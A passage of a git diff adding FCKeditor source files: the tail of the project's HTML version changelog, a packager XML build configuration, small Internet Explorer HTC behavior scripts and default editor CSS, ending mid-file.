+                       of &lt;P&gt;</strong> when the user presses the <strong>&lt;Enter&gt;</strong> key.
+                       Take a look at the fck_config.js configuration file for the &quot;<strong>UseBROnCarriageReturn</strong>&quot;
+                       key. This option is disabled by default. </li>
+               <li><strong>Icelandic</strong> language pack. Thanks to Andri &Oacute;skarsson. </li>
+               <li>[<a href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=853374&amp;group_id=75348">SF
+                       BUG-853374</a>] On IE 5.0 there was a little error introduced with version 1.3 on
+                       initialization. It was corrected. </li>
+               <li>[<a href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=853372&amp;group_id=75348">SF
+                       BUG-853372</a>] On IE 5.0 there was a little error introduced with version 1.3 when
+                       setting the focus in the editor. It was corrected. </li>
+               <li>Minor errors on the language file for <strong>english</strong> has been corrected.
+                       Thanks to Anders Madsen. </li>
+               <li>Minor errors on the language file for <strong>danish</strong> has been corrected.
+                       Thanks to Martin Johansen. </li>
+       </ul>
+       <h3>
+               Version 1.3</h3>
+       <ul>
+               <li>Language support for <strong>Danish, Polish, Simple Chinese, Slovak, Swedish and
+                       Turkish</strong>. </li>
+               <li>Language updates for <strong>Romanian</strong>. </li>
+               <li>It's now possible to <strong>override</strong> any of the <strong>editor's configurations</strong>
+                       (for now it's implemented just for JavaScript, ASPX and HTC modules). See _test/test.html
+                       for a sample. I'm now waiting for the Community for the ASP, CFM and PHP versions.
+               </li>
+               <li>A new method is available for <strong>PHP</strong> users. It's called <strong>ReturnFCKeditor</strong>.
+                       It works exactly like CreateFCKeditor, but it <strong>returns a string with the HTML</strong>
+                       for the editor instead of output it (echo). This feature is useful for people who
+                       are working with Smarty Templates or something like that. Thanks to Timothy J. Finucane.
+               </li>
+               <li>Many people have had problems with <strong>international characters</strong> over
+                       <strong>PHP</strong>. I had also the same problem. PHP have strange problems with
+                       character encoding. The code hasn't been changed but just saved again with Western
+                       European encoding. <strong>Now it works well</strong> in my system.<br />
+                       Take a look also at the &quot;default_charset&quot; configuration option at the
+                       php.ini file. It doesn't seem to be an editor's problem but a PHP issue. </li>
+               <li>The &quot;<strong>testsubmit.php</strong>&quot; file now strips the &quot;<strong>Magic
+                       Quotes</strong> &quot; that are automatically added by PHP on form posts. </li>
+               <li>A <strong>new language</strong> integration module is available for <strong>ASP/Jscript</strong>.
+                       Thanks to Dimiter Naydenov. </li>
+               <li><strong>New configuration</strong> options are available to <strong>customize the
+                       Target</strong> combo box in the <strong>Insert/Modify Link</strong> dialog box.
+                       Now you can hide it, or set which options are available in the combo box. Take a
+                       look at the fck_config.js file. </li>
+               <li>The <strong>Text as Plain Text</strong> toolbar <strong>icon</strong> has been changed
+                       <strong>to avoid confusion</strong> with the Normal Paste or. Thanks to Kaupo Kalda.
+               </li>
+               <li>The file <strong>dhtmled.cab has been removed</strong> from the package. It's not
+                       needed to the editor to work and caused some confusion for a few users. </li>
+               <li>The <strong>editor's content</strong> now <strong>doesn't loose the focus</strong>
+                       when the user clicks with the mouse in a toolbar button. </li>
+               <li>On <strong>drag-and-drop</strong> operations the data to be inserted in the editor
+                       is now <strong>converted to plain text</strong> when the &quot;<strong>ForcePasteAsPlainText</strong>&quot;
+                       configuration is set to <strong>true</strong>. </li>
+               <li>The <strong>image browser</strong> sample in PHP now <strong>sorts the files</strong>
+                       by name. Thanks to Sergey Lupashko. </li>
+               <li>Two <strong>new configuration</strong> options are available to <strong>turn on/off
+                       by default</strong> the &quot;<strong>Show Borders</strong>&quot; and &quot;<strong>Show
+                               Details</strong>&quot; commands. </li>
+               <li>Some <strong>characters have been removed</strong> from the &quot;<strong>Insert
+                       Special Chars</strong>&quot; dialog box because they were causing encoding problems
+                       in some languages. Thanks to Abomb Hua. </li>
+               <li><strong>JSP</strong> versions of the <strong>image and file upload and browsing</strong>
+                       features. Thanks to Simone Chiaretta.</li>
+       </ul>
+       <h3>
+               Version 1.2.4</h3>
+       <ul>
+               <li>Language support for <strong>Spanish, Finnish, Romanian and Korean</strong>. </li>
+               <li>Language updates for <strong>German</strong>. </li>
+               <li>New <strong>Zoom</strong> toolbar option. (<a href="https://sourceforge.net/forum/forum.php?thread_id=904116&amp;forum_id=257180">Thanks
+                       to &quot;mtn_roadie&quot;</a>)</li>
+       </ul>
+       <h3>
+               Version 1.2.2</h3>
+       <ul>
+               <li>Language support for <strong>French</strong>. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=782779&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-782779</a>] Version 1.2 introduced a bug on the image dialog window: when changing
+                       the image, no update was done. This bug is now fixed. </li>
+       </ul>
+       <h3>
+               Version 1.2</h3>
+       <ul>
+               <li>Enhancements to the <strong>Word cleaning</strong> feature (Thanks to Karl von Randow).
+               </li>
+               <li>The <strong>Table dialog box</strong> now handles the Style width and height set
+                       in the table (Thanks to Roberto Arruda). There where many problems on prior version
+                       when people changed manually the table's size, dragging the size handles, and then
+                       it was not possible to set a new size using the table dialog box. </li>
+               <li>For the <strong>Image dialog box:</strong>
+                       <ul>
+                               <li>No image is shown in the preview pane if no image has been set. </li>
+                               <li>If no HSpace is set in the image a &quot;-1&quot; value was shown in the dialog
+                                       box. Now, nothing is shown if the value is negative. </li>
+                       </ul>
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=739630&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-739630</a>] Image with link lost the link when changing its properties. The
+                       problem is solved. </li>
+               <li>Due to some problems in the XHTML cleaning (content duplication when the source
+                       HTML is dirty and malformed), the <strong>XHTML support is turned off by default</strong>
+                       from this version. You can still change this behavior and turn it on in the configuration
+                       file. </li>
+               <li>Some little updates on the <strong>English </strong>language file. </li>
+               <li>A few addition of missing entries on all languages files (translations for these
+                       changes are pending). </li>
+               <li>Language files has been added for the following languages:
+                       <ul>
+                               <li><strong>Brazilian Portuguese</strong> (pt-br) </li>
+                               <li><strong>Czech</strong> (cz) </li>
+                               <li><strong>Dutch</strong> (nl) </li>
+                               <li><strong>Russian</strong> (ru) </li>
+                               <li><strong>Chinese (Taiwan)</strong> (zh-tw) </li>
+                               <li><strong>Greek</strong> (gr) </li>
+                               <li><strong>German</strong> (de)</li>
+                       </ul>
+               </li>
+       </ul>
+       <h3>
+               Version 1.1</h3>
+       <ul>
+               <li>The &quot;<strong>Multi Language</strong>&quot; system is now available. This version
+                       ships with English and Italian versions completed. Other languages will be available
+                       soon. The editor automatically detects the client language and sets all labels,
+                       tooltips and dialog boxes to it, if available. The auto detection and the default
+                       language can be set in the <strong>fck_config.file</strong>. </li>
+               <li>Two files can now be created to isolate customizations code from the original source
+                       code of the editor: <strong>fckeditor.config.js</strong> and <strong>fckeditor.custom.js</strong>.
+                       Create these files in the root folder of your web site, if needed. The first one
+                       can be used to add or override configurations set on fck_config.js. The second one
+                       is used for custom actions and behaviors. </li>
+               <li>A problem with relative links and images like &quot;/test/test.doc&quot; has been
+                       solved. In prior versions, only with XHTML support enabled, the URL was changed
+                       to something like &quot;http://www.mysite.xxx/test/test.doc&quot; (The domain was
+                       automatically added). Now the XHTML cleaning procedure gets the URLs exactly how
+                       they are defined in the editor&rsquo;s HTML. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=742168&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-742168</a>] Mouse drag and drop from toolbar buttons has been disabled. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=768210&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-768210</a>] HTML entities, like <strong>&amp;lt;</strong>, were not load correctly.
+                       The problem is solved. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=748812&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-748812</a>] The link dialog window doesn't open when the link button is grayed.
+               </li>
+       </ul>
+       <h3>
+               Version 1.0</h3>
+       <ul>
+               <li>Three new options are available in the configuration file to set what file types
+                       are allowed / denied to be uploaded from the &quot;Insert Link&quot; and &quot;Insert
+                       Image&quot; dialog boxes. </li>
+               <li>Upload options, for links and images, are automatically hidden on IE 5.0 browsers
+                       (it's not compatible). </li>
+               <li>[SF BUG-734894] Fixed a problem on XHTML cleaning: the value on INPUT fields were
+                       lost. </li>
+               <li>[SF BUG-713797] Fixed some image dialog errors when trying to set image properties
+                       when no image is available. </li>
+               <li>[SF BUG-736414] Developed a workaround for a DHTML control bug when loading in the
+                       editor some HTML started with &lt;p&gt;&lt;hr&gt;&lt;/p&gt;. </li>
+               <li>[SF BUG-737143] Paste from Word cleaning changed to solve some IE 5.0 errors. This
+                       feature is still not available over IE 5.0. </li>
+               <li>[SF BUG-737233] CSS mappings are now OK on the PHP image browser module. </li>
+               <li>[SF BUG-737495] The image preview in the image dialog box is now working correctly.
+               </li>
+               <li>[SF BUG-737532] The editor automatically switches to WYSIWYG mode when the form
+                       is posted. </li>
+               <li>[SF BUG-739571] The editor is now working well over Opera (as for Netscape, a TEXTAREA
+                       is shown). </li>
+       </ul>
+       <h3>
+               Version 1.0 Final Candidate</h3>
+       <ul>
+               <li>A new dialog box for the &quot;Link&quot; command is available. Now you can upload
+                       and browse the server exactly like the image dialog box. It's also possible to define
+                       the link title and target window (_blank, _self, _parent and _top). As with the
+                       image dialog box, a sample (and simple) file server browser is available. </li>
+               <li>A new configuration option is available to force every paste action to be handled
+                       as plain text. See &quot;config.ForcePasteAsPlainText&quot; in fck_config.js. </li>
+               <li>A new Toolbar button is available: &quot;Paste from Word&quot;. It automatically
+                       cleans the clipboard content before pasting (removesWord styles, classes, xml stuff,
+                       etc...). This command is available for IE 5.5 and more. For IE 5.0 users, a message
+                       is displayed advising that the text will not be cleaned before pasting. </li>
+               <li>The editor automatically detects Word clipboard data on pasting operations and asks
+                       the user to clean it before pasting. This option is turned on by default but it
+                       can be configured. See &quot;config.AutoDetectPasteFromWord&quot; in fck_config.js.
+               </li>
+               <li>Table properties are now available in cells' right click context menu. </li>
+               <li>It's now possible to edit cells advanced properties from it's right click context
+                       menu. </li>
+       </ul>
+       <h3>
+               Version 1.0 Release Candidate 1 (RC1)</h3>
+       <ul>
+               <li>Some performance improvements. </li>
+               <li>The file dhtmled.cab has been added to the package for clients ho needs to install
+                       the Microsoft DHTML Editor component. </li>
+               <li>[SF BUG-713952] The format command options are localized, so it depends on the IE
+                       language to work. Until version 0.9.5 it was working only over English IE browsers.
+                       Now the options are load dynamically on the client using the client's language.
+               </li>
+               <li>[SF BUG-712103] The style command is localized, so it depends on the IE language
+                       to work. Until version 0.9.5 it was working only over English IE browsers. Now it
+                       configures itself using the client's language. </li>
+               <li>[SF BUG-726137] On version 0.9.5, some commands (special chars, image, emoticons,
+                       ...) remove the next available character before inserting the required content even
+                       if no selection was made in the editor. Now the editor replaces only the selected
+                       content (if available). </li>
+       </ul>
+       <h3>
+               Version 0.9.5 beta</h3>
+       <ul>
+               <li>XHTML support is now available! It can be enabled/disabled in the fck_config.js
+                       file. </li>
+               <li>&quot;Show Table Borders&quot; option: show borders for tables with borders size
+                       set to zero. </li>
+               <li>&quot;Show Details&quot; option: show hidden elements (comments, scripts, paragraphs,
+                       line breaks) </li>
+               <li>IE behavior integration module. Thanks to Daniel Shryock. </li>
+               <li>&quot;Find&quot; option: to find text in the document. </li>
+               <li>More performance enhancements. </li>
+               <li>New testsubmit.php file. Thansk to Jim Michaels. </li>
+               <li>Two initial PHP upload manager implementations (not working yet). Thanks to Frederic
+                       Tyndiuk and Christian Liljedahl. </li>
+               <li>Initial PHP image browser implementation (not working yet). Thanks to Frederic Tyndiuk.
+               </li>
+               <li>Initial CFM upload manager implementation. Thanks to John Watson. </li>
+       </ul>
+       <h3>
+               Version 0.9.4 beta</h3>
+       <ul>
+               <li>ColdFusion module integration is now available! Thanks to John Watson. </li>
+               <li>&quot;Insert Smiley&quot; toolbar option! Thanks to Fredox. Take a look at fck_config.js
+                       for configuration options. </li>
+               <li>&quot;Paste as plain text&quot; toolbar option! </li>
+               <li>Right click support for links (edit / remove). </li>
+               <li>Buttons now are shown in gray when disabled. </li>
+               <li>Buttons are shown just when the image is downloaded (no more &quot;red x&quot; while
+                       waiting for it). </li>
+               <li>The toolbar background color can be set with a CSS style (see fck_editor.css). </li>
+               <li>Toolbar images have been reviewed:
+                       <ul>
+                               <li>Now they are transparent. </li>
+                               <li>No more over...gif for every button (so the editor loads quicker). </li>
+                               <li>Buttons states are controlled with CSS styles. (see fck_editor.css).</li>
+                       </ul>
+               </li>
+               <li>Internet Explorer 5.0 compatibility, except for the image uploading popup. </li>
+               <li>Optimizations when loading the editor. </li>
+               <li>[SF BUG-709544] - Toolbar buttons wait for the images to be downloaded to start
+                       watching and responding the user actions (turn buttons on/off when the user changes
+                       position inside the editor). </li>
+               <li>JavaScript integration is now Object Oriented. CreateFCKeditor function is not available
+                       anymore. Take a look in test.html. </li>
+               <li>Two new configuration options, ImageBrowser and ImageUpload, are available to turn
+                       on and off the image upload and image browsing options in the Image dialog box.
+                       This options can be hidden for a specific editor instance throw specific URL parameter
+                       in the editor&rsquo;s IFRAME (upload=true/false&amp;browse=true/false). All specific
+                       language integration modules handle this option. For sample see the _test directory.
+               </li>
+       </ul>
+</body>
+</html>
diff --git a/fckeditor/editor/_packager.xml b/fckeditor/editor/_packager.xml
new file mode 100755 (executable)
index 0000000..eb9facb
--- /dev/null
@@ -0,0 +1,218 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: _packager.xml
+ *     This is the configuration file used by the FCKeditor.Packager to create the
+ *     compressed code files in the "js" folder.
+ *     
+ *     The FCKeditor.Packager software can be used to create the compressed files
+ *     for the FCKeditor project only. Any other use of this software is illegal. 
+ *     
+ *     Please check http://www.fckeditor.net/ckpackager for more info.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<Package>
+       <Constants removeDeclaration="false">
+               <Constant name="FCK_STATUS_NOTLOADED" value="0" />
+               <Constant name="FCK_STATUS_ACTIVE" value="1" />
+               <Constant name="FCK_STATUS_COMPLETE" value="2" />
+               <Constant name="FCK_TRISTATE_OFF" value="0" />
+               <Constant name="FCK_TRISTATE_ON" value="1" />
+               <Constant name="FCK_TRISTATE_DISABLED" value="-1" />
+               <Constant name="FCK_UNKNOWN" value="-9" />
+               <Constant name="FCK_TOOLBARITEM_ONLYICON" value="0" />
+               <Constant name="FCK_TOOLBARITEM_ONLYTEXT" value="1" />
+               <Constant name="FCK_TOOLBARITEM_ICONTEXT" value="2" />
+               <Constant name="FCK_EDITMODE_WYSIWYG" value="0" />
+               <Constant name="FCK_EDITMODE_SOURCE" value="1" />
+       </Constants>
+       <PackageFile name="fckeditorcode_ie.js">
+               <File path="editor/_source/fckconstants.js" />
+               <File path="editor/_source/fckjscoreextensions.js" />
+               <File path="editor/_source/classes/fckiecleanup.js" />
+               <File path="editor/_source/internals/fckbrowserinfo.js" />
+               <File path="editor/_source/internals/fckurlparams.js" />
+               <File path="editor/_source/classes/fckevents.js" />
+               <File path="editor/_source/internals/fck.js" />
+               <File path="editor/_source/internals/fck_ie.js" />
+               <File path="editor/_source/internals/fckconfig.js" />
+               <File path="editor/_source/internals/fckdebug.js" />
+               <File path="editor/_source/internals/fckdomtools.js" />
+               <File path="editor/_source/internals/fcktools.js" />
+               <File path="editor/_source/internals/fcktools_ie.js" />
+               <File path="editor/_source/fckeditorapi.js" />
+               <File path="editor/_source/classes/fckimagepreloader.js" />
+
+               <File path="editor/_source/internals/fckregexlib.js" />
+               <File path="editor/_source/internals/fcklanguagemanager.js" />
+               <File path="editor/_source/internals/fckxhtmlentities.js" />
+               <File path="editor/_source/internals/fckxhtml.js" />
+               <File path="editor/_source/internals/fckxhtml_ie.js" />
+               <File path="editor/_source/internals/fckcodeformatter.js" />
+               <File path="editor/_source/internals/fckundo_ie.js" />
+               <File path="editor/_source/classes/fckeditingarea.js" />
+               <File path="editor/_source/classes/fckkeystrokehandler.js" />
+
+               <File path="editor/_source/internals/fcklisthandler.js" />
+               <File path="editor/_source/classes/fckelementpath.js" />
+               <File path="editor/_source/classes/fckdomrange.js" />
+               <File path="editor/_source/classes/fckdomrange_ie.js" />
+               <File path="editor/_source/classes/fckdocumentfragment_ie.js" />
+               <File path="editor/_source/classes/fckw3crange.js" />
+               <File path="editor/_source/classes/fckenterkey.js" />
+
+               <File path="editor/_source/internals/fckdocumentprocessor.js" />
+               <File path="editor/_source/internals/fckselection.js" />
+               <File path="editor/_source/internals/fckselection_ie.js" />
+
+               <File path="editor/_source/internals/fcktablehandler.js" />
+               <File path="editor/_source/internals/fcktablehandler_ie.js" />
+               <File path="editor/_source/classes/fckxml_ie.js" />
+               <File path="editor/_source/classes/fckstyledef.js" />
+               <File path="editor/_source/classes/fckstyledef_ie.js" />
+               <File path="editor/_source/classes/fckstylesloader.js" />
+
+               <File path="editor/_source/commandclasses/fcknamedcommand.js" />
+               <File path="editor/_source/commandclasses/fck_othercommands.js" />
+               <File path="editor/_source/commandclasses/fckspellcheckcommand_ie.js" />
+               <File path="editor/_source/commandclasses/fcktextcolorcommand.js" />
+               <File path="editor/_source/commandclasses/fckpasteplaintextcommand.js" />
+               <File path="editor/_source/commandclasses/fckpastewordcommand.js" />
+               <File path="editor/_source/commandclasses/fcktablecommand.js" />
+               <File path="editor/_source/commandclasses/fckstylecommand.js" />
+               <File path="editor/_source/commandclasses/fckfitwindow.js" />
+               <File path="editor/_source/internals/fckcommands.js" />
+
+               <File path="editor/_source/classes/fckpanel.js" />
+               <File path="editor/_source/classes/fckicon.js" />
+               <File path="editor/_source/classes/fcktoolbarbuttonui.js" />
+               <File path="editor/_source/classes/fcktoolbarbutton.js" />
+               <File path="editor/_source/classes/fckspecialcombo.js" />
+               <File path="editor/_source/classes/fcktoolbarspecialcombo.js" />
+               <File path="editor/_source/classes/fcktoolbarfontscombo.js" />
+               <File path="editor/_source/classes/fcktoolbarfontsizecombo.js" />
+               <File path="editor/_source/classes/fcktoolbarfontformatcombo.js" />
+               <File path="editor/_source/classes/fcktoolbarstylecombo.js" />
+               <File path="editor/_source/classes/fcktoolbarpanelbutton.js" />
+               <File path="editor/_source/internals/fcktoolbaritems.js" />
+               <File path="editor/_source/classes/fcktoolbar.js" />
+               <File path="editor/_source/classes/fcktoolbarbreak_ie.js" />
+               <File path="editor/_source/internals/fcktoolbarset.js" />
+               <File path="editor/_source/internals/fckdialog.js" />
+               <File path="editor/_source/internals/fckdialog_ie.js" />
+
+               <File path="editor/_source/classes/fckmenuitem.js" />
+               <File path="editor/_source/classes/fckmenublock.js" />
+               <File path="editor/_source/classes/fckmenublockpanel.js" />
+               <File path="editor/_source/classes/fckcontextmenu.js" />
+               <File path="editor/_source/internals/fck_contextmenu.js" />
+
+               <File path="editor/_source/classes/fckplugin.js" />
+               <File path="editor/_source/internals/fckplugins.js" />
+       </PackageFile>
+
+       <PackageFile name="fckeditorcode_gecko.js">
+               <File path="editor/_source/fckconstants.js" />
+               <File path="editor/_source/fckjscoreextensions.js" />
+               <File path="editor/_source/internals/fckbrowserinfo.js" />
+               <File path="editor/_source/internals/fckurlparams.js" />
+               <File path="editor/_source/classes/fckevents.js" />
+               <File path="editor/_source/internals/fck.js" />
+               <File path="editor/_source/internals/fck_gecko.js" />
+               <File path="editor/_source/internals/fckconfig.js" />
+               <File path="editor/_source/internals/fckdebug.js" />
+               <File path="editor/_source/internals/fckdomtools.js" />
+               <File path="editor/_source/internals/fcktools.js" />
+               <File path="editor/_source/internals/fcktools_gecko.js" />
+               <File path="editor/_source/fckeditorapi.js" />
+               <File path="editor/_source/classes/fckimagepreloader.js" />
+
+               <File path="editor/_source/internals/fckregexlib.js" />
+               <File path="editor/_source/internals/fcklanguagemanager.js" />
+               <File path="editor/_source/internals/fckxhtmlentities.js" />
+               <File path="editor/_source/internals/fckxhtml.js" />
+               <File path="editor/_source/internals/fckxhtml_gecko.js" />
+               <File path="editor/_source/internals/fckcodeformatter.js" />
+               <File path="editor/_source/internals/fckundo_gecko.js" />
+               <File path="editor/_source/classes/fckeditingarea.js" />
+               <File path="editor/_source/classes/fckkeystrokehandler.js" />
+
+               <File path="editor/_source/internals/fcklisthandler.js" />
+               <File path="editor/_source/classes/fckelementpath.js" />
+               <File path="editor/_source/classes/fckdomrange.js" />
+               <File path="editor/_source/classes/fckdomrange_gecko.js" />
+               <File path="editor/_source/classes/fckdocumentfragment_gecko.js" />
+               <File path="editor/_source/classes/fckw3crange.js" />
+               <File path="editor/_source/classes/fckenterkey.js" />
+
+               <File path="editor/_source/internals/fckdocumentprocessor.js" />
+               <File path="editor/_source/internals/fckselection.js" />
+               <File path="editor/_source/internals/fckselection_gecko.js" />
+
+               <File path="editor/_source/internals/fcktablehandler.js" />
+               <File path="editor/_source/internals/fcktablehandler_gecko.js" />
+               <File path="editor/_source/classes/fckxml_gecko.js" />
+               <File path="editor/_source/classes/fckstyledef.js" />
+               <File path="editor/_source/classes/fckstyledef_gecko.js" />
+               <File path="editor/_source/classes/fckstylesloader.js" />
+
+               <File path="editor/_source/commandclasses/fcknamedcommand.js" />
+               <File path="editor/_source/commandclasses/fck_othercommands.js" />
+               <File path="editor/_source/commandclasses/fckspellcheckcommand_gecko.js" />
+               <File path="editor/_source/commandclasses/fcktextcolorcommand.js" />
+               <File path="editor/_source/commandclasses/fckpasteplaintextcommand.js" />
+               <File path="editor/_source/commandclasses/fckpastewordcommand.js" />
+               <File path="editor/_source/commandclasses/fcktablecommand.js" />
+               <File path="editor/_source/commandclasses/fckstylecommand.js" />
+               <File path="editor/_source/commandclasses/fckfitwindow.js" />
+               <File path="editor/_source/internals/fckcommands.js" />
+
+               <File path="editor/_source/classes/fckpanel.js" />
+               <File path="editor/_source/classes/fckicon.js" />
+               <File path="editor/_source/classes/fcktoolbarbuttonui.js" />
+               <File path="editor/_source/classes/fcktoolbarbutton.js" />
+               <File path="editor/_source/classes/fckspecialcombo.js" />
+               <File path="editor/_source/classes/fcktoolbarspecialcombo.js" />
+               <File path="editor/_source/classes/fcktoolbarfontscombo.js" />
+               <File path="editor/_source/classes/fcktoolbarfontsizecombo.js" />
+               <File path="editor/_source/classes/fcktoolbarfontformatcombo.js" />
+               <File path="editor/_source/classes/fcktoolbarstylecombo.js" />
+               <File path="editor/_source/classes/fcktoolbarpanelbutton.js" />
+               <File path="editor/_source/internals/fcktoolbaritems.js" />
+               <File path="editor/_source/classes/fcktoolbar.js" />
+               <File path="editor/_source/classes/fcktoolbarbreak_gecko.js" />
+               <File path="editor/_source/internals/fcktoolbarset.js" />
+               <File path="editor/_source/internals/fckdialog.js" />
+               <File path="editor/_source/internals/fckdialog_gecko.js" />
+
+               <File path="editor/_source/classes/fckmenuitem.js" />
+               <File path="editor/_source/classes/fckmenublock.js" />
+               <File path="editor/_source/classes/fckmenublockpanel.js" />
+               <File path="editor/_source/classes/fckcontextmenu.js" />
+               <File path="editor/_source/internals/fck_contextmenu.js" />
+               
+               <File path="editor/_source/classes/fckplugin.js" />
+               <File path="editor/_source/internals/fckplugins.js" />
+       </PackageFile>
+
+</Package>
\ No newline at end of file
diff --git a/fckeditor/editor/css/behaviors/disablehandles.htc b/fckeditor/editor/css/behaviors/disablehandles.htc
new file mode 100755 (executable)
index 0000000..e12aa59
--- /dev/null
@@ -0,0 +1,15 @@
+<public:component lightweight="true">
+
+<script language="javascript">
+
+function CancelEvent()
+{
+       return false ;
+}
+
+this.onresizestart = CancelEvent ;
+this.onbeforeeditfocus = CancelEvent ;
+
+</script>
+
+</public:component>
diff --git a/fckeditor/editor/css/behaviors/hiddenfield.gif b/fckeditor/editor/css/behaviors/hiddenfield.gif
new file mode 100755 (executable)
index 0000000..12bc251
Binary files /dev/null and b/fckeditor/editor/css/behaviors/hiddenfield.gif differ
diff --git a/fckeditor/editor/css/behaviors/hiddenfield.htc b/fckeditor/editor/css/behaviors/hiddenfield.htc
new file mode 100755 (executable)
index 0000000..455484f
--- /dev/null
@@ -0,0 +1,30 @@
+<public:component lightweight="true">
+
+<public:attach event="oncontentready" onevent="ShowField()" />
+<public:attach event="ondoubleclick" onevent="EditField()" />
+
+<script language="javascript">
+
+var bIsHiddenField = this.type == 'hidden' ;
+
+function ShowField()
+{
+       if ( bIsHiddenField ) 
+       {
+               this.runtimeStyle.width                         = '20px' ;
+               this.runtimeStyle.height                        = '20px' ;
+               this.runtimeStyle.border                        = '1px dotted #FF0000' ;
+               this.runtimeStyle.backgroundImage       = 'url(css/behaviors/hiddenfield.gif)' ;
+               this.runtimeStyle.fontSize                      = '99px' ;
+       }
+}
+
+function EditField()
+{
+       if ( bIsHiddenField ) 
+               alert( this.outerHTML ) ;
+}
+
+</script>
+
+</public:component>
diff --git a/fckeditor/editor/css/behaviors/showtableborders.htc b/fckeditor/editor/css/behaviors/showtableborders.htc
new file mode 100755 (executable)
index 0000000..bb81406
--- /dev/null
@@ -0,0 +1,36 @@
+<public:component lightweight="true">
+
+<public:attach event="oncontentready" onevent="ShowBorders()" />
+<public:attach event="onpropertychange" onevent="OnPropertyChange()" />
+
+<script language="javascript">
+
+var oClassRegex = /\s*FCK__ShowTableBorders/ ;
+
+function ShowBorders()
+{
+       if ( this.border == 0 )
+       {
+               if ( !oClassRegex.test( this.className ) )
+                       this.className += ' FCK__ShowTableBorders' ;
+       }
+       else
+       {
+               if ( oClassRegex.test( this.className ) )
+               {
+                       this.className = this.className.replace( oClassRegex, '' ) ;
+                       if ( this.className.length == 0 )
+                               this.removeAttribute( 'className', 0 ) ;
+               }
+       }
+}
+
+function OnPropertyChange()
+{
+       if ( event.propertyName == 'border' || event.propertyName == 'className' )
+               ShowBorders.call(this) ;
+}
+
+</script>
+
+</public:component>
diff --git a/fckeditor/editor/css/fck_editorarea.css b/fckeditor/editor/css/fck_editorarea.css
new file mode 100755 (executable)
index 0000000..75fe6e3
--- /dev/null
@@ -0,0 +1,96 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_editorarea.css
+ *     This is the default CSS file used by the editor area. It defines the
+ *     initial font of the editor and background color.
+ * 
+ *     A user can configure the editor to use another CSS file. Just change
+ *     the value of the FCKConfig.EditorAreaCSS key in the configuration
+ *     file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Alfonso Martinez de Lizarrondo - Uritec (alfonso at uritec dot net)
+ */
+
+/*
+    The "body" styles should match your editor web site, mainly regarding
+    background color and font family and size.
+*/
+
+body
+{
+       background-color: #ffffff;
+       padding: 5px 5px 5px 5px;
+       margin: 0px;
+}
+
+body, td
+{
+       font-family: Arial, Verdana, Sans-Serif;
+       font-size: 12px;
+}
+
+a[href]
+{
+       color: #0000FF !important;      /* For Firefox... mark as important, otherwise it becomes black */
+}
+
+/* 
+       Just uncomment the following block if you want to avoid spaces between 
+       paragraphs. Remember to apply the same style in your output front end page.
+*/
+
+/*
+p, ul, li
+{
+       margin-top: 0px;
+       margin-bottom: 0px;
+}
+*/
+
+/*
+    The following are some sample styles used in the "Styles" toolbar command.
+    You should instead remove them, and include the styles used by the site
+    you are using the editor in.
+*/
+
+.Bold
+{
+       font-weight: bold;
+}
+
+.Title
+{
+       font-weight: bold;
+       font-size: 18px;
+       color: #cc3300;
+}
+
+.Code
+{
+       border: #8b4513 1px solid;
+       padding-right: 5px;
+       padding-left: 5px;
+       color: #000066;
+       font-family: 'Courier New' , Monospace;
+       background-color: #ff9933;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/css/fck_internal.css b/fckeditor/editor/css/fck_internal.css
new file mode 100755 (executable)
index 0000000..86c55c9
--- /dev/null
@@ -0,0 +1,121 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_internal.css
